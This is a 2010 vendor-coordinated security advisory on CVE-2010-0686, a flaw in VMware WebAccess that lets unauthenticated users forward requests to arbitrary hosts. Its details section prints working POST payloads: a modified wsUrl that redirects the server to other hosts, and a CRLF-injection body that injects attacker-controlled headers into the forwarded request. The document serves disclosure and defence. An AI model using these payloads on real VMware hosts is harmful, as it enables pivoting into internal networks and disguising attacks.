

MWR InfoSecurity Security  
Advisory

VMware – WebAccess HTTP  
Forwarding Vulnerability

16<sup>th</sup> April 2010

MWR  INFOSECURITY

## Contents

1	VMware – WebAccess HTTP Forwarding Vulnerability.....	3
2	Detailed Vulnerability Description .....	4
2.1	Introduction .....	4
2.2	Vulnerability Details.....	4
3	Recommendations.....	6

## 1 VMware – WebAccess HTTP Forwarding Vulnerability

<b>Package Name:</b>	VMware (Multiple products)
<b>Affected Versions:</b>	VMware Server 2.0.1 vCenter 2.5 U4 ESX 3.5 vCenter 2.0.2 U5 ESX 3.0.2 ESX 3.0.3

<b>CVE Reference</b>	CVE-2010-0686
<b>Author</b>	J Fitzpatrick
<b>Severity</b>	Medium
<b>Local/Remote</b>	Remote
<b>Vendor URL</b>	<a href="http://www.vmware.com/">http://www.vmware.com/</a>
<b>Vulnerability Timeline</b>	2008-11-06: Reported to VMware 2010-03-29: VMware publish workaround
<b>Exploit Details Included</b>	Yes
<b>Affected OS</b>	All supported platforms

### Overview:

A vulnerability was identified within multiple VMware products which would allow an unauthenticated attacker to utilise the WebAccess component of VMware as a proxy for making requests to other servers.

### Impact:

An attacker could utilise this vulnerability in order to communicate with hosts on other networks, including virtual networks, to which the affected VMware host is connected. It would also allow an attacker to communicate with local services on the affected host which may not be externally exposed. An attacker may therefore utilise this vulnerability in order to disguise the source of an attack. It should be noted that the attacker would not receive any responses to the requests they made.

### Cause:

WebAccess accepts user supplied input and uses this in forwarding the appropriate request. Furthermore it fails to sanitise user supplied input widening the scope for exploiting this vulnerability.

### Solution:

VMware recommend disabling WebAccess in order to prevent this issue from being exploitable. Further details on how to achieve this can be found in VMware's advisory: <http://www.vmware.com/security/advisories/VMSA-2010-0005.html>

## 2 Detailed Vulnerability Description

### 2.1 Introduction

WebAccess is a component present in multiple VMware products which provides a web based interface allowing for the management of virtual machines. This vulnerability affects multiple products up to and including the following versions:

- VMware Server 2.0.1
- vCenter 2.5 U4
- ESX 3.5
- vCenter 2.0.2 U5
- ESX 3.0.2
- ESX 3.0.3

This vulnerability allows an attacker to utilise a weakness in the login function of WebAccess in order to proxy requests to arbitrary hosts. An unauthenticated attacker can therefore utilise the vulnerability in order to direct requests to hosts on virtual networks which may not ordinarily be accessible from the perspective which an attacker is located. Additionally it allows for communication with local services on the affected host which are not intended to be remotely accessible.

### 2.2 Vulnerability Details

The manner in which an attacker would exploit this vulnerability varies depending on the version of WebAccess which is being used. The POST request in which the affected parameters are passed are shown below for both VMware Server and VirtualCenter.

#### VMware Server

```
POST /ui/sb HTTP/1.0
Host: 10.0.0.155:8333
User-Agent: MWR-Testing
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Content-Type: text/plain; charset=UTF-8
Referer: https://10.0.0.155:8333/ui/
Cookie: JSESSIONID=9E21888212ABF75E47DAA6B4AD1EB383
Pragma: no-cache
Cache-Control: no-cache
Content-Length: 87

[{"i": "2", "exec": "/action/login", "args": ["http://localhost:8222/sdk", "username", "password"]}]]
```

## VMware Virtual Center

```
POST /ui/login.do HTTP/1.1
Host: 192.168.1.51
User-Agent: MWR-Testing
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate\r\nAccept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Proxy-Connection: keep-alive
Cookie: wc_ping=ack; JSESSIONID=D24DA5698C3371EEA10FDD0E2255452E
Content-Type: application/x-www-form-urlencoded
Content-Length: 414

wsUrl=http%3A%2F%2Flocalhost%2Fsdk&userName=username&userPassword=password&btnSubmit=Log+In&clientCaps.appCodeName=Mozilla&clientCaps.appMinorVersion=undefined&clientCaps.appName=Netscape&clientCaps.appVersion=5.0+%28X11%3B+en-US%29&clientCaps.platform=Linux+i686&clientCaps.userAgent=MWR-Testing
```

On receiving a login request WebAccess communicates with a web service which then performs the authentication. The value highlighted above in bold is the location of the web service against which this authentication is to be performed. In both cases above this is "localhost". Modifying this value to contain another hostname or IP address therefore allows these authentication requests to be forwarded to arbitrary hosts.

For example modifying the body of the login request made to WebAccess on VirtualCenter as shown below would result in the VirtualCenter server making subsequent request to the host 10.11.12.13:

```
wsUrl=http%3A%2F%2F10.11.12.13%2Fsdk&userName=username&userPassword=password&btnSubmit=Log+In&clientCaps.appCodeName=Mozilla&clientCaps.appMinorVersion=undefined&clientCaps.appName=Netscape&clientCaps.appVersion=5.0+%28X11%3B+en-US%29&clientCaps.platform=Linux+i686&clientCaps.userAgent=MWR-Testing
```

As well as accepting arbitrary host values the input validation performed by WebAccess also permits an attacker to enter characters such as a newline character. By utilising this weakness it is possible craft a login request which results in a POST request made up of user supplied content being forwarded by the targeted VMware host. Below is an example request payload which, if made to WebAccess running on VMware Server, causes VMware Server to transmit the attacker controlled HTTP request to a host specified by the attacker. A similar request can be constructed for VirtualCenter and ESX.

```
[{"i": "2", "exec": "/action/login", "args": ["http://10.0.0.99:80/sdk HTTP/1.0\r\nAll your HTTP headers are belong to us! ", "username", "password"]}]
```

The subsequent request to 10.0.0.99 that is made by VMware Server on receiving a request with this content is shown below:

```

POST /sdk HTTP/1.0
All your HTTP headers are belong to us! HTTP/1.0
Content-Type: text/xml; charset=utf-8
Accept: application/soap+xml, application/dime, multipart/related, text/*
User-Agent: Axis/1.4
Host: 10.0.0.99:80
Cache-Control: no-cache
Pragma: no-cache
SOAPAction: "urn:internalvim25/2.5u2server"
Content-Length: 389

<?xml version="1.0" encoding="UTF-8"?><soapenv:Envelope
xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-
instance"><soapenv:Body><RetrieveServiceContent xmlns="urn:internalvim25"><_this
type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soapenv:Body></soapenv:Envelope>

```

In the output above, through utilising CRLF injection an additional header has been added to the request. An attacker therefore has control over the request as well as the host to which the request is sent. The same concept applies to versions of WebAccess running on other VMware products.

### 3 Recommendations

The output below shows the status of this vulnerability within different VMware products:

VMware Product	Product Version	Running on	Replace with/Apply Patch
vCenter	4.0	Windows	not affected
<b>VirtualCenter</b>	<b>2.5</b>	<b>Windows</b>	<b>not being fixed at this time *</b>
<b>VirtualCenter</b>	<b>2.0.2</b>	<b>Windows</b>	<b>not being fixed at this time *</b>
Workstation	any	any	not affected
Player	any	any	not affected
<b>Server</b>	<b>2.0</b>	<b>any</b>	<b>not being fixed at this time *</b>
Server	1.0	any	not affected
ACE	any	any	not affected
Fusion	any	any	not affected
ESXi	any	ESXi	not affected
ESX	4.0	ESX	not affected
<b>ESX</b>	<b>3.5</b>	<b>ESX</b>	<b>not being fixed at this time *</b>
<b>ESX</b>	<b>3.0.3</b>	<b>ESX</b>	<b>not being fixed at this time *</b>
ESX	2.5.5	ESX	not affected
vMA	4.0	RHEL5	not affected

VMware have recommended that users disable WebAccess in order to protect themselves from this vulnerability. Further information on how to achieve this can be found in VMware's advisory here: <http://lists.vmware.com/pipermail/security-announce/2010/000086.html>

Security best practices provided by VMware recommend that the Service Console be isolated from the VM network. Please see <http://www.vmware.com/resources/techresources/726> for more information on VMware security best practices.

MWR InfoSecurity  
St. Clement House  
1-3 Alencon Link  
Basingstoke, RG21 7SB  
Tel: +44 (0)1256 300920  
Fax: +44 (0)1256 844083  
[mwrinfosecurity.com](http://mwrinfosecurity.com)